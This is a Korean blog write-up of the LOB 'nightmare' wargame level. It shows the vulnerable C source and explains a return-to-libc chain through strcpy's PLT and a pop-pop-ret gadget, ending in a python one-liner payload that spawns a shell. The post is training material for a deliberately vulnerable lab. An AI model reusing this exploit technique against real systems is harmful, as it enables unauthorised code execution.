[Preview]


여전히 lob 복기중입니다 ㅋㅋㅋ 좀 오래걸린감이 있지만 요즘 공부를 손에 놓아서... 이번에 lob 복기를 하며 전에 풀었던 방법들이 다 기억이 나지 않아 아예 새로 풀고 있는데, 좀 특이하게(?) 이 문제를 푼것 같은 느낌이 들어 이 문제에 대해서 라업을 작성하려 합니다. 본래 더 쉽게 푸는 방법은 타 블로그에 많으니 해당 내용들 참고해주시기 바랍니다. 이렇게 풀다보니 어찌저찌 rtl을 연습하게 된 것 같네요 ㅋㅋ


[Code & Analysis]


/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv errorn");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%sn", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}


간단히 설명하자면 ebp+4 에 존재하는 ret값이 strcpy의 주소(0x8048410)와 일치하는 지 비교하여 일치하지 않으면 종료합니다. 그리고 ret 다음 4바이트, 즉 strcpy 이후에 반환될 ret2 영역을 'A'로 덮어 줍니다. 때문에 우리는 strcpy를 사용해야만 하는데 이 상황에서 strcpy 다음에 뛸 주소(strcpy의 ret addr)를 컨트롤하지 못하는 상황입니다.



[Exploit]


strcpy를 사용해야만 하는 것을 다시 잘 생각해보았습니다. strcpy는 2개의 인자(argument)를 받으며, strcpy가 동작하는 것은 정확히는 첫번째 인자의 주소가 가리키는 buffer에 두번째 인자의 주소가 가리키는 buffer를 덮어씌우는 것입니다.(\x00이 나올 때 까지) 그리고 우리는 ret주소를 strcpy의 plt를 가르키게 하여 메인함수가 종료된 후 strcpy를 실행하고 있습니다.


[SFP] [RET] [RET2] [arg1_strcpy] [arg2_strcpy]


정상적으로 strcpy를 실행시키기 위해선 위와같이 스택이 구성되어 있을 것입니다.

하지만 RET2 영역을 'AAAA'로 덮어 씌우고 있는것이 문제 상황입니다. 때문에 우리는 strcpy의 arg1에 ret2 주소를 넣고, arg2에 내가 ret2부터 넣고싶은 원하는 값이 들어있는 버퍼의 주소를 적어준다면, 우리는 AAAA로 덮어씌워진 ret2의 주소를 컨트롤할 수 있습니다.


하지만 인자가 2개 들어가있기 때문에 strcpy가 끝난 후 ppr 가젯을 실행 시켜야 우리가 원하는 system 함수를 통한 rtl을 할 수 있습니다.


[BUF] [SFP] [RET] [ppr_gadget] [RET2_addr] [shellcode_addr] [libc_system] [Dummy(RET3)] ["/bin/sh"_addr]


위와같이 익스플로잇 코드가 구성되면 우리가 원하는대로 쉘을 딸 수 있을 것입니다.


우선 ppr_gadget을 모으기 위해 libc 를 objdump하여 이 중 ppr을 찾습니다.



ppr 오프셋을 찾았으니 /proc/self/maps 에서 libc-base 주소를 알아냅니다



libc-base 주소에서 아까 구한 ppr의 오프셋을 더하면 ppr의 주소가 나옵니다. aslr이 안걸려있기 때문에 주소는 고정입니다.



  `python -c 'print "\xf6\x6f\x07\x40" + "G"*8 + "\xe0\x8a\x05\x40" + "HHHH" + "\x3d\xfc\xff\xbf" + "B"*20 

  + "\x10\x84\x04\x08" + "CCCC" + "\x90\xfa\xff\xbf" + "\x60\xfa\xff\xbf"'` 



[ret2(ppr_gadget_addr)] [dummy1(arg1)] [dummy2(arg2)] [libc-system()] [dummy3(ret3)] ["/bin/sh" addr] [buf(20)] [strcpy_plt(ret1)] [dummy0(ret2)] [dummy0_addr (ret2_addr)] [buf_addr(버퍼시작주소)]





주소를 정확히 찍어서 익스플로잇 코드를 작성하였기 때문에 똑같은 환경에서 실행하기 위해 링킹을 걸어 실행하였습니다.



'System > LOB (Lord of Bof)' 카테고리의 다른 글

lob 19->20 death_knight  (0) 2018.08.21
lob 17->18 nightmare  (0) 2018.08.18

+ Recent posts